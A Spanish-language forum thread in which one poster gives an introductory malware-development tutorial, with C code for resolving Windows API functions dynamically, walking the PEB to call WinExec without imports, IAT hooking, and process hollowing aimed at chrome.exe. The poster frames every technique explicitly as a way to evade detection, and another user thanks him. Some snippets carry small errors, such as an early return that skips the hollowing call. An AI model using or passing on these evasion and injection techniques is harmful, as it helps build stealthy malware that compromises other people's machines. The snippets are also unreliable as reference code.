Autor
|
Tema: Introducción basica al maldev (Leído 17,566 veces)
|
D3s0rd3n
Desconectado
Mensajes: 97
Tu Mente es mi arma. Entregame tu mente
|
Casi no se ven mucho acerca del desarrollo de malware asi que quiero aportsr compartiendo algunas cositas que voy encontrando. Aqui pienso escribir los conceptos basicos del desarrollo de malware usando el WinAPI. Como por ejemplo el cargado dinamico de funciones, accesando El PEB (Process Environment Block [Bloque de entorno de Processos]) y la ejecucion de funciones en el codigo. Además de la obufscacion y encodificacion de la payload usando cosas como XOR o AES para hacerla más difícil de de detectar. Entre otras :3. Cargado y Ejecucion Dinámica de una Función[size]De ejemplo vamos a empezar con algo simple. La función MessageBoxA que simplemente abre una ventanilla para mostrar un mensaje. Esta función es parte de WinAPI. Nuestro código va a ser simple pero veremos cómo montar funciones dinamicamente. Esto es uno de los principios fundamentales para evadir detección. int main(void) { MessageBoxA(0, "Holi mundo.", "info", 0); return 0; }
En Este código estamos llamando la función directamente. Lo que significa que será enlazada estáticamente al momento de la compilación. Esto en resumen significa que su código será incluido en nuestro programa y no se tendrá que cargar al momento de la ejecución. Ahora esto es muy fácilmente detectado al momento de análisis así que lo llevaremos otro paso. Observemos el siguiente código: int main(void) { size_t get_MessageBoxA = (size_t)GetProcAddress( LoadLibraryA("USER32.dll"), "MessageBoxA" ); def_MessageBoxA msgbox_a = (def_MessageBoxA) get_MessageBoxA; msgbox_a(0, "Holi mundos", "info", 0); return 0; }
El Codigo hace lo mismo que el anterior la diferencia es que aquí estamos cargando la función dinamicamente mediante GetProcAddress. Esta función (que literalmente se llama "obtén dirección de proceso") en el momento de ejecución irá a USER32.dll y buscará la dirección de MessageBoxA. Para hacer que esto funcione, necesitamos un puntero de función que get_MessageBoxA que coincida con la función MessageBoxA. Usamos está dirección para asignarla al puntero y a travez del puntero accesamos la función. El usar punteros nos ayuda a obfuscar la funciones que usamos y hacerle más difícil al análisis estático que es lo que estamos haciendo. Considera el siguiente código que son dos funciones que habren ventanillas con un mensaje. Estas funciones serán importadas de un dll: __declspec(dllexport) void func1() { MessageBoxA(0, "", "Uno", 0); } __declspec(dllexport) void func2() { MessageBoxA(0, "", "Dos", 0); } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Función gancho para la func1 } return TRUE; }
Esto parece normal, tenemos dos funciones que son importadas de un dll y cada una abre una ventanilla como lo dije. Pero la cosa aquí es que dentro de DllMain podemos cambiar el comportamiento de func1. Esto para dar una impresión inicial de código benigno y después correr el código sospechoso. La cosa es que esto solo ocurrirá al momento de ejecución haciéndolo muy bueno para evitar detección.
|
|
|
En línea
|
Gobiernos del Mundo Industrial, ustedes, cansados gigantes de carne y acero vengo del Ciberespacio, el nuevo hogar de la Mente. En nombre del futuro, les pido en el pasado que nos dejen en paz. No son bienvenidos entre nosotros. No tienen ninguna soberania sobre el lugar donde nos reunimos.
|
|
|
D3s0rd3n
Desconectado
Mensajes: 97
Tu Mente es mi arma. Entregame tu mente
|
PEBCuando en Windows se abre un ejecutable, por ejemplo chrome.exe, este llamará la función CreateProcess del API de win32 lo que le solicita al sistema operativo que cree un proceso y comience la ejecución. A nivel kernel se creará una estructura de datos EPROCESSES. Luego windows aparta memoria virtual e incluye la representación de memoria física en EPROCESS. Entonces el PEB (Process Environment Block [bloque de entorno de proceso]) es una estructura de datos donde Windows guarda información y configuración asociada con un proceso. El PCB (Process Control Block [bloque de control de proceso]) contiene información que le interesa al kernel como el CPU preferido de este proceso. El TCB (Thread Control Block [Bloque de Control de Hilos]) es lo que usa el kernel para determinar que hilo usar y su jerarquía de preferencia, que es lo que hace el kernel a un nivel muy bajo (pero esa es otra historia). El PEB se accesa para obtener información del proceso y la información asociada a el como las direcciones base de las librerías dinamicas. Miremos el siguiente código: typedef struct _PEB_LDR_DATA { ULONG Length; UCHAR Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _UNICODE_STRING32 { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING32, *PUNICODE_STRING32; typedef struct _PEB32 { // ... } PEB32, *PPEB32; typedef struct _PEB_LDR_DATA32 { // ... } PEB_LDR_DATA32, *PPEB_LDR_DATA32; typedef struct _LDR_DATA_TABLE_ENTRY32 { // ... } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
Como se puede ver PEB son estructuras robustas. Y las estructuras como _PEB_LDR_DATA32 son versiones simplificadas del PEB como tal. Estas contienen información y las direcciones de los modulos que estan cargados en memoria. size_t GetModHandle(wchar_t *libName) { PEB32 *pPEB = (PEB32 *)__readfsdword(0x30); // ds: fs[0x30] PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList); for (PLIST_ENTRY curr = header->Flink; curr != header; curr = curr->Flink) { LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD( curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderLinks ); printf("nodo actual: %ls\n", data->BaseDllName.Buffer); if (StrStrIW(libName, data->BaseDllName.Buffer)) return data->DllBase; } return 0; }
Para acceder la dirección base de un modulo que este cargado en memoria se usa la funcion GetModHandle. Dentro de el PEB hay una estructura llamada PEB_LDR_DATA que contiene la información de un modulo cargado en la memoria. Tambien hay una lista enlazada a los modulos de la memoria que se llamada InMemoryModuleOrderList. La funcion GetModHandle antes mencionada cicla por los elementos de esta losta hasta encontrar el modulo especificado por el parámetro libName. El PEB se puede encontrar en fs (0x30) en el TEB (Thread Environment Block [Bloque de Hilo de Entorno]) para procesadores x86 y en gs (0x60) para procesadores x64. Despues usaremos la fincion GetFuncDir para obtener la dirección de una funcion de gro de un modulo. size_t GetFuncDir(size_t baseModulo, char* szFuncName) { // Interpretar tabla de exportación PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)(baseModulo); PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(baseModulo + dosHdr->e_lfanew); IMAGE_OPTIONAL_HEADER optHdr = ntHdr->OptionalHeader; IMAGE_DATA_DIRECTORY dataDir_exportDir = optHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // Interpretar informacion de la funcion PIMAGE_EXPORT_DIRECTORY tablaExp = (PIMAGE_EXPORT_DIRECTORY)(baseModulo + dataDir_exportDir.VirtualAddress); DWORD* arrFuncs = (DWORD *)(baseModulo + tablaExp->AddressOfFunctions); DWORD* arrNames = (DWORD *)(baseModulo + tablaExp->AddressOfNames); WORD* arrNameOrds = (WORD *)(baseModulo + tablaExp->AddressOfNameOrdinals);
Esta funcion toma el parámetro baseModulo que es la dirección base del módulo. Despues se fija en la tabla de exportación (tablaExp) para buscar la funcion que tenga de nombre szFuncName. La tabla de exportación es parte de la estructura de datos del modulo lo cual es procesado por el PEB. La tabla de exportación es parte del archivo PE y nos da una manera de acceder las funciones de este externamente: - Accesso a el encabezado DOS y el encabezado NT para navegar el encabezado opcional de el archivo PE.
- Identificar los puntos de exportación usando el indice IMAGE_DIRECTORY_ENTRY_POINT de la lista de directorios de el encabezado opcional.
- Calcular la dirección de la tabla de exportación que contiene datos de las funciones exportadas del modulo.
Ahora, dentro de un ciclo vamos a comparar el nombre de la funcion exportada sz_CurrApiName con el nombre de la funcion szFuncName. Cuando coincide arrojamos fatos sobre la función. for (size_t i = 0; i < tablaExp->NumberOfNames; i++) { char* sz_CurrApiName = (char *)(baseModulo + arrNames[i]); WORD num_CurrApiOrdinal = arrNameOrds[i] + 1; if (!stricmp(sz_CurrApiName, szFuncName)) { printf("[+] Found ordinal %.4x - %s\n", num_CurrApiOrdinal, sz_CurrApiName); //enumeration process return baseModulo + arrFuncs[ num_CurrApiOrdinal - 1 ]; } } return 0; }
Si el nombre de la funcion coincide con el nombre de la funcion deseada arrojamos su dirección. Calculamos la dirección de la funcion haciendo referencia a arrFuncs y al ordinal. Esto es importante por que sto nos permite realizar una inyección de proceso y cargar una funcion dinamicamente. Ahora tenemos la función main: int main(int argc, char** argv, char* envp) { size_t kernelBase = GetModHandle(L"kernel32.dll"); printf("[+] GetModHandle(kernel32.dll) = %p\n", kernelBase); // resultado de GetModHandle size_t ptr_WinExec = (size_t) GetFuncDir(kernelBase, "WinExec"); printf("[+] GetFuncDir(kernel32.dll, WinExec) = %p\n", ptr_WinExec); // la dirección de WinExec ((UINT(WINAPI*)(LPCSTR, UINT))ptr_WinExec)("calc", SW_SHOW); return 0; }
Aqui usamos la función GetModHandle para encontrar la dirección de kernel32.dll dentro del proceso actual. Usamos el PEB para revisar la lista de modulos cargados por uno que coincida con el nombre kernel32.dll. Teniendo esta, usamos GetFuncDir para encontrar la dirección de WinExec que esta despues de la de kernel32.dll y es por eso que tomamos su dirección como la dirección base. Despues invocamos la funcion WinExec dinamicamente usando la dirección obtenida. Transformamos ptr_WinExac a el tipo adecuado para que sea un puntero de esta funcion. Y luego la invocamos con el argumento "calc" para abrir la calculadora. Esto muestra como podemos ubicar dinamicamente la funcion WinExec dentro de kernel32.dll y ejecutarla para abrir la calculadora (que obviamente en un escenario de maldev sería otra cosa). Esto es una manera de manipular codigo usando el PEB, localizando y utilizando funciones de los modulos cargados. Ahora prestemos atención a una linea interesante: ((UINT(WINAPI*)(LPCSTR, UINT))ptr_WinExec)("calc", SW_SHOW); Esta es donde se invoca dinamicamente la funcion WinExec. Ahora miremosla mas a fondo. - (UINT(WINAPI*)(LPCSTR, UINT))ptr_WinExec Esta cambia el tipo de ptr_WinExex de un puntero normal a uno apropiado para una funcion del API de Windows. Tambien nos encargamos de los parámetros que es un string LPCSTR y un numero UINT.
- ("calc", SW_SHOW) Son los parámetros antes mencionados. Que simplemente le dicen a WinExec que abra una ventana de "calc" con el modo de display SW_SHOW.
Lo que sucede es que el codigo inyecta dinamicamente la ejecución que nosotros deseamos a un proceso legitimo. En vez de tener que incluir la funcion WinExec estáticamente, cad que corre la localiza y la ejecuta dinamicamente. Esto se usa comúnmente en el malware para no tener que importar ciertas funciones de interés y asi se menos detectables.[/list]
|
|
« Última modificación: 19 Diciembre 2023, 16:39 pm por D3s0rd3n »
|
En línea
|
Gobiernos del Mundo Industrial, ustedes, cansados gigantes de carne y acero vengo del Ciberespacio, el nuevo hogar de la Mente. En nombre del futuro, les pido en el pasado que nos dejen en paz. No son bienvenidos entre nosotros. No tienen ninguna soberania sobre el lugar donde nos reunimos.
|
|
|
fary
|
Me gusta el tema, seguiré tu post.
Gracias por el aporte.
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
D3s0rd3n
Desconectado
Mensajes: 97
Tu Mente es mi arma. Entregame tu mente
|
Me gusta el tema, seguiré tu post.
Gracias por el aporte.
Gracias, hago muchas cosas a la vez pero intentaré compartir lo mas que pueda.
|
|
|
En línea
|
Gobiernos del Mundo Industrial, ustedes, cansados gigantes de carne y acero vengo del Ciberespacio, el nuevo hogar de la Mente. En nombre del futuro, les pido en el pasado que nos dejen en paz. No son bienvenidos entre nosotros. No tienen ninguna soberania sobre el lugar donde nos reunimos.
|
|
|
D3s0rd3n
Desconectado
Mensajes: 97
Tu Mente es mi arma. Entregame tu mente
|
Enganchado IATEl cargado dinamico de funciones es una tecnica que se usa en el ámbito del desarrollo de software para windows y a menudo se usa en el maldev. Una manera de lograr esto es usando IAT hooking (enganchado de Import Address Table [tabla de direcciones de importación]). La IAT contiene las direcciones de las funciones que importa un programa de algun módulo. Esta tecnica que veremos nos ayuda a interceptar y modificar invocación de funcion dentro de la ejecución de un programa. Esta imagen nos muestra la estructura de una IAT y como interactuaria un enganche con ella. Primero el programa en cuestión llama la función MessageBoxA de el WinAPI. El programa busca la dirección de esta función y luego brinca la ejecución a ella. Aqui es donde esta el código legitimo de MessageBoxA. Asi funciona la IAT en el contexto de abrir MessageBoxA: #define getNtHdr(buf) ((IMAGE_NT_HEADERS *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew)) #define getSectionArr(buf) ((IMAGE_SECTION_HEADER *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew + sizeof(IMAGE_NT_HEADERS))
Esta invocación de la función generalmente se hace mediante una función o una librería del API de Windows. Cuando un programa invoca una función, lo haces de esta manera y no accesando el código de la función como tal. Asi busca su dirección en la IAT que contiene las direcciones de todas kas funciones importadas. Una vez encontrada esta dirección la ejecución se va a ella. Yo me lo imagino algo asi como un DNS para funciones. Rn este caso se obtiene una dirección legitima de MessageBoxA. size_t ptr_msgboxa = 0; void iatHook(char *module, const char *szHook_ApiName, size_t callback, size_t &apiAddr) { auto dir_ImportTable = getNtHdr(module)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; auto impModuleList = (IMAGE_IMPORT_DESCRIPTOR *)&module[dir_ImportTable.VirtualAddress]; for (; impModuleList->Name; impModuleList++) { auto arr_callVia = (IMAGE_THUNK_DATA *)&module[impModuleList->FirstThunk]; auto arr_apiNames = (IMAGE_THUNK_DATA *)&module[impModuleList->OriginalFirstThunk]; for (int i = 0; arr_apiNames[i].u1.Function; i++) { auto curr_impApi = (PIMAGE_IMPORT_BY_NAME)&module[arr_apiNames[i].u1.Function]; if (!strcmp(szHook_ApiName, (char *)curr_impApi->Name)) { apiAddr = arr_callVia[i].u1.Function; arr_callVia[i].u1.Function = callback; break; } } } }
Entonces aquí sucede algo diferente. En vez de ejecutar la función MessageBoxA, la entrada en la IAT es modificada para que apunte a otra función. Asi que cuando se ejecuta MessageBoxA en el programa, en realidad se esta ejecutando la función que ka reemplaza. Esto nos permite alterar el funcionamiento esperado del programa.
|
|
|
En línea
|
Gobiernos del Mundo Industrial, ustedes, cansados gigantes de carne y acero vengo del Ciberespacio, el nuevo hogar de la Mente. En nombre del futuro, les pido en el pasado que nos dejen en paz. No son bienvenidos entre nosotros. No tienen ninguna soberania sobre el lugar donde nos reunimos.
|
|
|
D3s0rd3n
Desconectado
Mensajes: 97
Tu Mente es mi arma. Entregame tu mente
|
Process Hollowing[/b] Le digo ahuecamiento de proceso por que no sé cómo traducir "hollowing" en este contexto xd. Pero espero que con la explicación sea mas claro. Esta tecnica comienza con la creacion de un proceso legitimo en estado de suspensión. Este estado nos permite inyectarle codigo para que se ejecute dentro de el. Para que se dé de una manera exitosa, se requiere que la fuente del proceso cumpla con algunos requisitos: - Portable Executable: Debe estar en este formato o sea en el formato PE. Este formato incluye un encabezado y secciones que definen las características del ejecutable.
- Codigo ejecutable: Este ejecutable debe contener código que es ejecutable por el sistema. Este código se encuentra en la sección .text del archivo.
- Dirección de punto de entrada: El encabezado PE de la fuente debe contener la dirección del punto de entrada del programa. Esta es donde comienza la ejecución. Esta dirección se usa para poner el registro EAX en el contexto de la ejecución de el programa.
- Secciones y datos: La fuente debe contener secciones de datos como .text para el código entre otras. Estás secciones deben estar bien declaradas en el encabezado y sus datos deben ser accesibles.
- Tabla de reubicación: Esta no es obligatoria pero si util. Esta le permite la ejecución desde otra dirección base. Si la imagen no la tiene, la unica manera de cargarla seria a través de su dirección preferida.
Ahora un ejemplo de la creación de un proceso en estado suspendido. Cuando se carga, el codigo y datos se reemplazan con el código y datos de otro ejecutable. Lo que crea un proceso suspendido sobre el cual de pueden hacer operaciones con su memoria para cargar una nueva imagen. // Crear nueva instancia del proceso actual if (CreateProcessA(path, 0, 0, 0, false, CREATE_SUSPENDED, 0, 0, &SI, &PI)) { // Alocar memoria para el contexto CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; // Context is allocated // Obtener contexto if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //si el contexto esta en el hilo { pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); // Topografía de archivo WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) WriteProcessMemory ( PI.hProcess, LPVOID((size_t)pImageBase + SectionHeader[i].VirtualAddress), LPVOID((size_t)Image + SectionHeader[i].PointerToRawData), SectionHeader[i].SizeOfRawData, 0 ); } }
La funcion CreateProcessA sirve para crear una nueva instancia de el proceso actual o de algun ejecutable en modo suspendido. Esto se hace con el parámetro CREATE_SUSOENDED lo que significa que su ejecución sera pausada. Despues de su creación se usa VirtualAlloc para alocar memoria para su contexto. La estructura CTX guarda información sobre el estado del proceso. Obtener y actualizar el contextoLa funcion GetThreadContext obtiene informacion del contexto del hilo principal del proceso suspendido (PI.hThread). Este contexto es el que esta guardado en CTX. El contexto ahora se actualiza en preparación para la ejecución de codigo nuevo. Hablando mas técnicamente el registro EAX se establece para apuntar al codigo nuevo. Despues se copia el encabezado del PE dentro de la memoria a traves de WritePricessMemory. Esto para asegurar que se haya cargado correctamente. Ahora, un ciclo pasa por las secciones de la imagen (adentro del SectionHeader osea el encabezado de la sección.). Esto copia los datos de la imagen a el espacio designado para el proceso usando WriteProcessMemory. A este punto el proceso del ahuecado del proceso esta acomodado. Los datos y codigo del otro PE han sido cargados a la memoria. La ejecución continuara resultando en que el codigo nuevo se ejecute en el contexto del programa inicial. WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread);
La dirección de destino se calcula como CTX->Ebx + 8 y se escriben 4 bytes. Esta operacion establece el punto donde comienza la ejecución del nuevo código. El registro CTX->Eax es actualizado con el nuevo punto de entrada del codigo nuevo. En resumen lo que hace es establecer EIR (el registro de instruccion) a el punto donde esta el codigo que queremos cargar. El punto de entrada se obtiene del encabezado de la imagen. Y ahora que estamos listos invocamos ResumeThread para continuar la ejecución del proceso suspendido. Es aqui donde el proceso empieza a ejecutar el codigo cargado empezando por el punto de entrada. El codigo que se inyectó en el proceso suspendido ahora tiene el control de la ejecucion del proceso. char CurrentFilePath[MAX_PATH + 1]; GetModuleFileNameA(0, CurrentFilePath, MAX_PATH); if (strstr(CurrentFilePath, "chrome.exe")) { MessageBoxA(0, "holi", "", 0); return 0; LONGLONG len = -1; RunPortableExecutable("chrome.exe", MapFileToMemory(CurrentFilePath, len)); return 0; }
Cuando este código es ejecutado, se obtiene el directorio del ejecutable como en si. Hay una revisión conditional para checkar CurrentFilePath usando strstr. Si este directorio contiene "chrome.exe" muestra el mensaje "holi" usando MessageBoxA. O la ejecucion continua si el directorio no cumple con la condicion. Se ejecuta RunPortableExecutable. Nuestro objectivo de ahuecado seria "chrome.exe", le pasa el codigo al proceso hueco y si no busca otra imagen.
|
|
|
En línea
|
Gobiernos del Mundo Industrial, ustedes, cansados gigantes de carne y acero vengo del Ciberespacio, el nuevo hogar de la Mente. En nombre del futuro, les pido en el pasado que nos dejen en paz. No son bienvenidos entre nosotros. No tienen ninguna soberania sobre el lugar donde nos reunimos.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Introducción a FirePHP [Tutorial]
PHP
|
madpitbull_99
|
1
|
2,695
|
23 Marzo 2011, 11:52 am
por Aeros
|
|
|
Introducción a los Web Application Firewalls (WAF)
Seguridad
|
madpitbull_99
|
4
|
7,395
|
15 Julio 2011, 18:33 pm
por Dr [F]
|
|
|
Introducción al comando Find
GNU/Linux
|
madpitbull_99
|
2
|
3,193
|
28 Julio 2011, 22:55 pm
por portaro
|
|
|
¿ Como empezar en MalDev ?
Programación General
|
EticoNa1D3z
|
1
|
1,817
|
6 Octubre 2023, 22:50 pm
por 4v1dy4
|
|
|
Maldev-Complete
Análisis y Diseño de Malware
|
dropsec1337
|
0
|
1,013
|
6 Septiembre 2024, 03:02 am
por dropsec1337
|
|